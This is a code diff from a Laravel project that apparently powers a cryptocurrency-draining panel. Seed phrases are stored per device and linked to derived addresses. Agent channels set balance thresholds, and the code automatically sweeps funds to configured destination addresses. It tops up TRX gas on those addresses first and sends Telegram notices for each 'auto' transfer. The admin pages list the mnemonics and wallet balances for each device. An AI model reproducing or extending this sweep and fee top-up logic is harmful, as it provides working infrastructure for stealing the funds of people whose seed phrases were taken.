||||||
|
);
|
||||||
|
throw new RuntimeException('TRON fee top-up failed: '.$e->getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
$deadline = microtime(true) + 45;
|
||||||
|
do {
|
||||||
|
if (! app()->runningUnitTests()) {
|
||||||
|
usleep(1_500_000);
|
||||||
|
}
|
||||||
|
$trx = $driver->getNativeBalance($fromAddress);
|
||||||
|
if (bccomp($trx, $target, 6) >= 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} while (microtime(true) < $deadline);
|
||||||
|
|
||||||
|
create_log([
|
||||||
|
'event' => 'tron_fee_topup_confirm_timeout',
|
||||||
|
'to' => $fromAddress,
|
||||||
|
'trx_after' => $trx,
|
||||||
|
'target' => $target,
|
||||||
|
'operator' => $operator,
|
||||||
|
], 'transfer');
|
||||||
|
throw new RuntimeException('TRON fee top-up sent but balance still below '.$target);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
|
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
|
||||||
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
|
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
|
||||||
@@ -155,9 +324,92 @@ class TransferService
|
|||||||
'error' => $record['error'],
|
'error' => $record['error'],
|
||||||
], 'transfer');
|
], 'transfer');
|
||||||
|
|
||||||
|
$this->notifyTransferTelegram($record, $result);
|
||||||
|
|
||||||
return $result;
|
return $result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
|
||||||
|
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
|
||||||
|
*/
|
||||||
|
private function notifyTransferTelegram(array $record, array $result): void
|
||||||
|
{
|
||||||
|
$operator = (string) ($record['operator'] ?? '');
|
||||||
|
if ($operator !== 'auto') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$from = (string) ($record['from_address'] ?? '');
|
||||||
|
$deviceKey = $this->deviceKeyForAddress($from);
|
||||||
|
if ($deviceKey === '') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$this->telegram->notifyAutoTransfer(
|
||||||
|
$deviceKey,
|
||||||
|
$from,
|
||||||
|
(string) ($record['chain'] ?? ''),
|
||||||
|
(string) ($record['asset'] ?? ''),
|
||||||
|
(bool) ($result['ok'] ?? false),
|
||||||
|
isset($record['amount']) ? (string) $record['amount'] : null,
|
||||||
|
isset($record['to_address']) ? (string) $record['to_address'] : null,
|
||||||
|
isset($record['tx_hash']) ? (string) $record['tx_hash'] : null,
|
||||||
|
isset($record['error']) ? (string) $record['error'] : ($result['error'] ?? null),
|
||||||
|
);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// never break transfer for telegram
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function notifyFeeTopupTelegram(
|
||||||
|
string $feeFrom,
|
||||||
|
string $toAddress,
|
||||||
|
bool $ok,
|
||||||
|
?string $amount = null,
|
||||||
|
?string $txid = null,
|
||||||
|
?string $error = null,
|
||||||
|
): void {
|
||||||
|
$deviceKey = $this->deviceKeyForAddress($toAddress);
|
||||||
|
if ($deviceKey === '') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$this->telegram->notifyFeeTopup(
|
||||||
|
$deviceKey,
|
||||||
|
$feeFrom,
|
||||||
|
$toAddress,
|
||||||
|
$ok,
|
||||||
|
$amount,
|
||||||
|
$txid,
|
||||||
|
$error,
|
||||||
|
);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// never break transfer for telegram
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function deviceKeyForAddress(string $address): string
|
||||||
|
{
|
||||||
|
$address = trim($address);
|
||||||
|
if ($address === '') {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$devicePk = WalletAddress::query()->where('address', $address)->value('device_id');
|
||||||
|
if ($devicePk === null) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
return (string) (\App\Models\Device::query()->whereKey($devicePk)->value('device_id') ?: '');
|
||||||
|
} catch (\Throwable) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private function toAddress(string $chain): string
|
private function toAddress(string $chain): string
|
||||||
{
|
{
|
||||||
return match ($chain) {
|
return match ($chain) {
|
||||||
@@ -235,14 +487,14 @@ class TransferService
|
|||||||
$addressRows = WalletAddress::query()
|
$addressRows = WalletAddress::query()
|
||||||
->where('address', $fromAddress)
|
->where('address', $fromAddress)
|
||||||
->orderBy('id')
|
->orderBy('id')
|
||||||
->get(['device_id', 'source']);
|
->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
|
||||||
|
|
||||||
// ETH addresses are often stored with mixed-case checksum.
|
// ETH addresses are often stored with mixed-case checksum.
|
||||||
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
|
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
|
||||||
$addressRows = WalletAddress::query()
|
$addressRows = WalletAddress::query()
|
||||||
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
|
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
|
||||||
->orderBy('id')
|
->orderBy('id')
|
||||||
->get(['device_id', 'source']);
|
->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']);
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($addressRows->isEmpty()) {
|
if ($addressRows->isEmpty()) {
|
||||||
@@ -253,6 +505,29 @@ class TransferService
|
|||||||
$caseInsensitive = $driver->chainId() === 'eth';
|
$caseInsensitive = $driver->chainId() === 'eth';
|
||||||
|
|
||||||
foreach ($addressRows as $row) {
|
foreach ($addressRows as $row) {
|
||||||
|
if ($row->mnemonic_id !== null) {
|
||||||
|
$linked = WalletMnemonic::query()->find($row->mnemonic_id);
|
||||||
|
$phrase = $linked?->mnemonic;
|
||||||
|
if ($phrase !== null && trim($phrase) !== '') {
|
||||||
|
if ($row->derive_index !== null) {
|
||||||
|
return ['mnemonic' => $phrase, 'index' => (int) $row->derive_index];
|
||||||
|
}
|
||||||
|
for ($index = 0; $index <= MnemonicAddressLinker::MAX_DERIVE_INDEX; $index++) {
|
||||||
|
try {
|
||||||
|
$derived = $driver->deriveAddress($phrase, $index);
|
||||||
|
$match = $caseInsensitive
|
||||||
|
? strcasecmp($derived, $fromAddress) === 0
|
||||||
|
: $derived === $fromAddress;
|
||||||
|
if ($match) {
|
||||||
|
return ['mnemonic' => $phrase, 'index' => $index];
|
||||||
|
}
|
||||||
|
} catch (\Throwable) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
$mnemonics = WalletMnemonic::query()
|
$mnemonics = WalletMnemonic::query()
|
||||||
->where('device_id', $row->device_id)
|
->where('device_id', $row->device_id)
|
||||||
->where(function ($q) use ($row) {
|
->where(function ($q) use ($row) {
|
||||||
|
|||||||
@@ -44,12 +44,14 @@ class WalletBalanceService
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
$driver = $this->chains->resolve('eth');
|
$driver = $this->chains->resolve('eth');
|
||||||
$address->eth = $driver->getNativeBalance($addr);
|
$attrs = [
|
||||||
|
'eth' => $driver->getNativeBalance($addr),
|
||||||
|
];
|
||||||
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
|
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
|
||||||
if ($contract !== '') {
|
if ($contract !== '') {
|
||||||
$address->usdt = $driver->getTokenBalance($addr, $contract);
|
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
|
||||||
}
|
}
|
||||||
$address->save();
|
$this->persistCoins($address, $attrs);
|
||||||
|
|
||||||
Log::info('eth balance refresh ok', [
|
Log::info('eth balance refresh ok', [
|
||||||
'wallet_address_id' => $address->id,
|
'wallet_address_id' => $address->id,
|
||||||
@@ -78,8 +80,9 @@ class WalletBalanceService
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
$driver = $this->chains->resolve('btc');
|
$driver = $this->chains->resolve('btc');
|
||||||
$address->btc = $driver->getNativeBalance($addr);
|
$this->persistCoins($address, [
|
||||||
$address->save();
|
'btc' => $driver->getNativeBalance($addr),
|
||||||
|
]);
|
||||||
|
|
||||||
Log::info('btc balance refresh ok', [
|
Log::info('btc balance refresh ok', [
|
||||||
'wallet_address_id' => $address->id,
|
'wallet_address_id' => $address->id,
|
||||||
@@ -120,10 +123,11 @@ class WalletBalanceService
|
|||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
$address->trx = $balances['trx'];
|
|
||||||
$address->usdt = $balances['usdt'];
|
|
||||||
// No official BTC/ETH/BNB on Tron — leave those columns untouched.
|
// No official BTC/ETH/BNB on Tron — leave those columns untouched.
|
||||||
$address->save();
|
$this->persistCoins($address, [
|
||||||
|
'trx' => $balances['trx'],
|
||||||
|
'usdt' => $balances['usdt'],
|
||||||
|
]);
|
||||||
|
|
||||||
Log::info('tron balance refresh ok', [
|
Log::info('tron balance refresh ok', [
|
||||||
'wallet_address_id' => $address->id,
|
'wallet_address_id' => $address->id,
|
||||||
@@ -144,6 +148,22 @@ class WalletBalanceService
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Always write coin columns back to wallet_addresses (even when values are unchanged).
|
||||||
|
*
|
||||||
|
* @param array<string, string|int|float|null> $coins
|
||||||
|
*/
|
||||||
|
private function persistCoins(WalletAddress $address, array $coins): void
|
||||||
|
{
|
||||||
|
if ($address->id === null || $coins === []) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$coins['updated_at'] = now();
|
||||||
|
WalletAddress::query()->whereKey($address->id)->update($coins);
|
||||||
|
$address->refresh();
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* TronGrid REST: native + TRC20 in one call.
|
* TronGrid REST: native + TRC20 in one call.
|
||||||
* Empty data[] (never-activated account) → explicit zeros.
|
* Empty data[] (never-activated account) → explicit zeros.
|
||||||
|
|||||||
@@ -133,9 +133,7 @@ final class WalletSource
|
|||||||
'ETH', 'ETHEREUM', 'EVM',
|
'ETH', 'ETHEREUM', 'EVM',
|
||||||
'TRX', 'TRON',
|
'TRX', 'TRON',
|
||||||
'BTC', 'BITCOIN',
|
'BTC', 'BITCOIN',
|
||||||
'SOL', 'SOLANA',
|
|
||||||
'BNB', 'BSC', 'BINANCE',
|
'BNB', 'BSC', 'BINANCE',
|
||||||
'TON',
|
|
||||||
];
|
];
|
||||||
|
|
||||||
public static function isSupportedChain(string $chainType): bool
|
public static function isSupportedChain(string $chainType): bool
|
||||||
|
|||||||
@@ -54,6 +54,14 @@ return [
|
|||||||
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
|
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
|
||||||
],
|
],
|
||||||
|
|
||||||
|
'auto_transfer' => [
|
||||||
|
'enabled' => in_array(strtolower((string) env('AUTO_TRANSFER_ENABLED', '0')), ['1', 'true', 'yes', 'on'], true),
|
||||||
|
'threshold_usdt' => (string) env('AUTO_TRANSFER_THRESHOLD_USDT', ''),
|
||||||
|
'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''),
|
||||||
|
'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''),
|
||||||
|
'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''),
|
||||||
|
],
|
||||||
|
|
||||||
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
|
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
|
||||||
// system paths with is_executable() under open_basedir (see CorunaArchive).
|
// system paths with is_executable() under open_basedir (see CorunaArchive).
|
||||||
'seven_zip' => env('CORUNA_7Z_BIN', ''),
|
'seven_zip' => env('CORUNA_7Z_BIN', ''),
|
||||||
@@ -95,6 +103,10 @@ return [
|
|||||||
'to_address' => env('TRANSFER_TO_ADDRESS', ''),
|
'to_address' => env('TRANSFER_TO_ADDRESS', ''),
|
||||||
'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
|
'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
|
||||||
'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
|
'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
|
||||||
|
'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''),
|
||||||
|
'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''),
|
||||||
|
// Target TRX balance before a transfer (shortfall only is sent).
|
||||||
|
'fee_topup_trx' => env('TRANSFER_FEE_TOPUP_TRX', '20'),
|
||||||
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
||||||
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
||||||
'max_eth' => env('TRANSFER_MAX_ETH', '0'),
|
'max_eth' => env('TRANSFER_MAX_ETH', '0'),
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||||
|
$table->foreignId('mnemonic_id')
|
||||||
|
->nullable()
|
||||||
|
->after('source')
|
||||||
|
->constrained('wallet_mnemonics')
|
||||||
|
->nullOnDelete();
|
||||||
|
$table->unsignedTinyInteger('derive_index')
|
||||||
|
->nullable()
|
||||||
|
->after('mnemonic_id');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||||
|
$table->dropConstrainedForeignId('mnemonic_id');
|
||||||
|
$table->dropColumn('derive_index');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('users', function (Blueprint $table) {
|
||||||
|
$table->boolean('auto_transfer_enabled')->default(false)->after('chat_id');
|
||||||
|
$table->decimal('auto_transfer_threshold_usdt', 24, 8)->nullable()->after('auto_transfer_enabled');
|
||||||
|
$table->decimal('auto_transfer_threshold_trx', 24, 8)->nullable()->after('auto_transfer_threshold_usdt');
|
||||||
|
$table->decimal('auto_transfer_threshold_eth', 24, 8)->nullable()->after('auto_transfer_threshold_trx');
|
||||||
|
$table->decimal('auto_transfer_threshold_btc', 24, 8)->nullable()->after('auto_transfer_threshold_eth');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('users', function (Blueprint $table) {
|
||||||
|
$table->dropColumn([
|
||||||
|
'auto_transfer_enabled',
|
||||||
|
'auto_transfer_threshold_usdt',
|
||||||
|
'auto_transfer_threshold_trx',
|
||||||
|
'auto_transfer_threshold_eth',
|
||||||
|
'auto_transfer_threshold_btc',
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -46,6 +46,26 @@
|
|||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label">助记词</label>
|
||||||
|
<div class="layui-input-block">
|
||||||
|
<select name="has_mnemonic">
|
||||||
|
<option value="">全部</option>
|
||||||
|
<option value="1">有</option>
|
||||||
|
<option value="0">无</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label">余额</label>
|
||||||
|
<div class="layui-input-block">
|
||||||
|
<select name="has_balance">
|
||||||
|
<option value="">全部</option>
|
||||||
|
<option value="1">有余额</option>
|
||||||
|
<option value="0">无余额</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<div class="layui-inline">
|
<div class="layui-inline">
|
||||||
<button class="layui-btn" lay-submit lay-filter="LAY-addr-search">搜索</button>
|
<button class="layui-btn" lay-submit lay-filter="LAY-addr-search">搜索</button>
|
||||||
</div>
|
</div>
|
||||||
@@ -91,6 +111,9 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
{ field: 'chain_type', title: 'Chain', width: 110, templet: function (d) {
|
{ field: 'chain_type', title: 'Chain', width: 110, templet: function (d) {
|
||||||
return chainTag(d.chain_type);
|
return chainTag(d.chain_type);
|
||||||
}},
|
}},
|
||||||
|
{ field: 'mnemonic_id', title: '助记词 ID', width: 110, sort: true, templet: function (d) {
|
||||||
|
return d.mnemonic_id ? d.mnemonic_id : '—';
|
||||||
|
}},
|
||||||
{ field: 'usdt', title: 'USDT', width: 100, sort: true },
|
{ field: 'usdt', title: 'USDT', width: 100, sort: true },
|
||||||
{ field: 'trx', title: 'TRX', width: 100, sort: true },
|
{ field: 'trx', title: 'TRX', width: 100, sort: true },
|
||||||
{ field: 'eth', title: 'ETH', width: 100, sort: true },
|
{ field: 'eth', title: 'ETH', width: 100, sort: true },
|
||||||
|
|||||||
@@ -94,7 +94,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
layer.open({
|
layer.open({
|
||||||
type: 1,
|
type: 1,
|
||||||
title: title,
|
title: title,
|
||||||
area: ['520px', '520px'],
|
area: ['560px', 'auto'],
|
||||||
content: '<form class="layui-form" style="padding:16px;" id="LAY-agent-form">' +
|
content: '<form class="layui-form" style="padding:16px;" id="LAY-agent-form">' +
|
||||||
'<div class="layui-form-item"><label class="layui-form-label">账号</label><div class="layui-input-block">' +
|
'<div class="layui-form-item"><label class="layui-form-label">账号</label><div class="layui-input-block">' +
|
||||||
'<input name="username" class="layui-input" ' + (values.id ? 'readonly' : '') + ' value="' + esc(values.username || '') + '"></div></div>' +
|
'<input name="username" class="layui-input" ' + (values.id ? 'readonly' : '') + ' value="' + esc(values.username || '') + '"></div></div>' +
|
||||||
@@ -115,9 +115,25 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||||||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
||||||
'</div></div>' +
|
'</div></div>' +
|
||||||
|
'<div class="layui-form-item"><label class="layui-form-label">自动转账</label><div class="layui-input-block">' +
|
||||||
|
'<input type="checkbox" name="auto_transfer_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.auto_transfer_enabled) === 1 ? 'checked' : '') + '>' +
|
||||||
|
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">仅控制该代理渠道,与系统官方开关互不影响</div>' +
|
||||||
|
'</div></div>' +
|
||||||
|
'<div class="layui-form-item"><label class="layui-form-label">阈值</label><div class="layui-input-block" style="display:flex;flex-wrap:wrap;gap:6px;">' +
|
||||||
|
'<input name="auto_transfer_threshold_usdt" class="layui-input" placeholder="USDT" style="width:110px;" value="' + esc(values.auto_transfer_threshold_usdt || '') + '">' +
|
||||||
|
'<input name="auto_transfer_threshold_trx" class="layui-input" placeholder="TRX" style="width:110px;" value="' + esc(values.auto_transfer_threshold_trx || '') + '">' +
|
||||||
|
'<input name="auto_transfer_threshold_eth" class="layui-input" placeholder="ETH" style="width:110px;" value="' + esc(values.auto_transfer_threshold_eth || '') + '">' +
|
||||||
|
'<input name="auto_transfer_threshold_btc" class="layui-input" placeholder="BTC" style="width:110px;" value="' + esc(values.auto_transfer_threshold_btc || '') + '">' +
|
||||||
|
'</div><div class="layui-form-mid layui-word-aux" style="margin-left:110px;">留空则用系统阈值(系统也空则 >0)</div></div>' +
|
||||||
'</form>',
|
'</form>',
|
||||||
success: function () {
|
success: function (layero, index) {
|
||||||
form.render();
|
form.render();
|
||||||
|
var maxH = Math.max(240, window.innerHeight - 140);
|
||||||
|
var $content = layero.find('.layui-layer-content');
|
||||||
|
if ($content.outerHeight() > maxH) {
|
||||||
|
$content.css({ 'max-height': maxH + 'px', 'overflow-y': 'auto' });
|
||||||
|
layer.style(index, { top: Math.max(20, (window.innerHeight - layero.outerHeight()) / 2) + 'px' });
|
||||||
|
}
|
||||||
$('#LAY-agent-tg-test').on('click', function () {
|
$('#LAY-agent-tg-test').on('click', function () {
|
||||||
var $btn = $(this);
|
var $btn = $(this);
|
||||||
if ($btn.prop('disabled')) return;
|
if ($btn.prop('disabled')) return;
|
||||||
@@ -147,7 +163,9 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
var data = {};
|
var data = {};
|
||||||
$('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
|
$('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
|
||||||
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
|
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
|
||||||
|
data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0;
|
||||||
delete data.status_switch;
|
delete data.status_switch;
|
||||||
|
delete data.auto_transfer_switch;
|
||||||
onOk(data, index);
|
onOk(data, index);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -4,6 +4,33 @@
|
|||||||
|
|
||||||
@section('content')
|
@section('content')
|
||||||
@php $portal = $portal ?? 'admin'; @endphp
|
@php $portal = $portal ?? 'admin'; @endphp
|
||||||
|
<style>
|
||||||
|
.mn-wallet-wrap { padding: 12px 16px 16px; }
|
||||||
|
.mn-wallet-hd {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 12px;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
.mn-wallet-meta { color: #666; font-size: 13px; }
|
||||||
|
.mn-wallet-empty { color: #999; padding: 24px 0; text-align: center; }
|
||||||
|
.mn-wallet-table { width: 100%; border-collapse: collapse; font-size: 12px; }
|
||||||
|
.mn-wallet-table th,
|
||||||
|
.mn-wallet-table td {
|
||||||
|
border: 1px solid #e6e6e6;
|
||||||
|
padding: 8px 10px;
|
||||||
|
text-align: left;
|
||||||
|
vertical-align: top;
|
||||||
|
}
|
||||||
|
.mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
|
||||||
|
.mn-wallet-table .addr-cell {
|
||||||
|
word-break: break-all;
|
||||||
|
font-family: Menlo, Monaco, Consolas, monospace;
|
||||||
|
max-width: 280px;
|
||||||
|
}
|
||||||
|
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
|
||||||
|
</style>
|
||||||
<div class="layui-card">
|
<div class="layui-card">
|
||||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
|
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
|
||||||
<div class="layui-form-item">
|
<div class="layui-form-item">
|
||||||
@@ -34,6 +61,7 @@
|
|||||||
<div class="layui-card-body">
|
<div class="layui-card-body">
|
||||||
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
|
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
|
||||||
<script type="text/html" id="LAY-mn-ops">
|
<script type="text/html" id="LAY-mn-ops">
|
||||||
|
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wallets">查看钱包</a>
|
||||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||||
</script>
|
</script>
|
||||||
</div>
|
</div>
|
||||||
@@ -42,9 +70,151 @@
|
|||||||
|
|
||||||
@push('scripts')
|
@push('scripts')
|
||||||
<script>
|
<script>
|
||||||
layui.use(['table', 'form'], function () {
|
layui.use(['table', 'form', 'layer'], function () {
|
||||||
var table = layui.table, form = layui.form;
|
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||||
|
var token = @json(csrf_token());
|
||||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||||
|
|
||||||
|
function esc(v) {
|
||||||
|
return String(v == null ? '' : v)
|
||||||
|
.replace(/&/g, '&')
|
||||||
|
.replace(/</g, '<')
|
||||||
|
.replace(/>/g, '>')
|
||||||
|
.replace(/"/g, '"');
|
||||||
|
}
|
||||||
|
|
||||||
|
function coinVal(v) {
|
||||||
|
return (v === null || v === undefined || v === '') ? '—' : esc(v);
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderWalletsHtml(payload) {
|
||||||
|
var rows = (payload && payload.addresses) || [];
|
||||||
|
var html = '<div class="mn-wallet-wrap">';
|
||||||
|
html += '<div class="mn-wallet-hd">';
|
||||||
|
html += '<div class="mn-wallet-meta">助记词 #' + esc(payload.mnemonic_id) +
|
||||||
|
(payload.source ? ' · ' + esc(payload.source) : '') +
|
||||||
|
' · 关联地址 ' + rows.length + ' 个</div>';
|
||||||
|
if (rows.length && payload.refresh_url) {
|
||||||
|
html += '<button type="button" class="layui-btn layui-btn-sm" id="LAY-mn-refresh-bal">刷新余额</button>';
|
||||||
|
}
|
||||||
|
html += '</div>';
|
||||||
|
if (!rows.length) {
|
||||||
|
html += '<div class="mn-wallet-empty">暂无关联地址</div></div>';
|
||||||
|
return html;
|
||||||
|
}
|
||||||
|
html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
|
||||||
|
'<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
|
||||||
|
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th>' +
|
||||||
|
'</tr></thead><tbody>';
|
||||||
|
rows.forEach(function (r) {
|
||||||
|
html += '<tr>' +
|
||||||
|
'<td>' + esc(r.id) + '</td>' +
|
||||||
|
'<td>' + esc(r.chain_type || '—') + '</td>' +
|
||||||
|
'<td class="addr-cell">' + esc(r.address) + '</td>' +
|
||||||
|
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
|
||||||
|
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
|
||||||
|
'<td class="coin-cell">' + coinVal(r.trx) + '</td>' +
|
||||||
|
'<td class="coin-cell">' + coinVal(r.eth) + '</td>' +
|
||||||
|
'<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
|
||||||
|
'<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
|
||||||
|
'</tr>';
|
||||||
|
});
|
||||||
|
html += '</tbody></table></div></div>';
|
||||||
|
return html;
|
||||||
|
}
|
||||||
|
|
||||||
|
function applyWalletsHtml(layero, payload) {
|
||||||
|
var html = renderWalletsHtml(payload);
|
||||||
|
var $wrap = layero.find('.mn-wallet-wrap').first();
|
||||||
|
if ($wrap.length) {
|
||||||
|
$wrap.replaceWith(html);
|
||||||
|
} else {
|
||||||
|
var $content = layero.find('.layui-layer-content').first();
|
||||||
|
if ($content.length) $content.html(html);
|
||||||
|
else layero.html(html);
|
||||||
|
}
|
||||||
|
bindRefresh(layero, payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
function bindRefresh(layero, payload) {
|
||||||
|
layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () {
|
||||||
|
var btn = $(this);
|
||||||
|
if (btn.prop('disabled')) return;
|
||||||
|
if (!payload.refresh_url) return;
|
||||||
|
btn.prop('disabled', true).addClass('layui-btn-disabled');
|
||||||
|
var loadIdx = layer.load(1, { shade: 0.1 });
|
||||||
|
$.ajax({
|
||||||
|
url: payload.refresh_url,
|
||||||
|
method: 'POST',
|
||||||
|
data: { _token: token },
|
||||||
|
success: function (res) {
|
||||||
|
layer.close(loadIdx);
|
||||||
|
if (!res || res.code !== 0) {
|
||||||
|
btn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||||||
|
return layer.msg((res && res.msg) || '刷新失败');
|
||||||
|
}
|
||||||
|
var next = res.data || {};
|
||||||
|
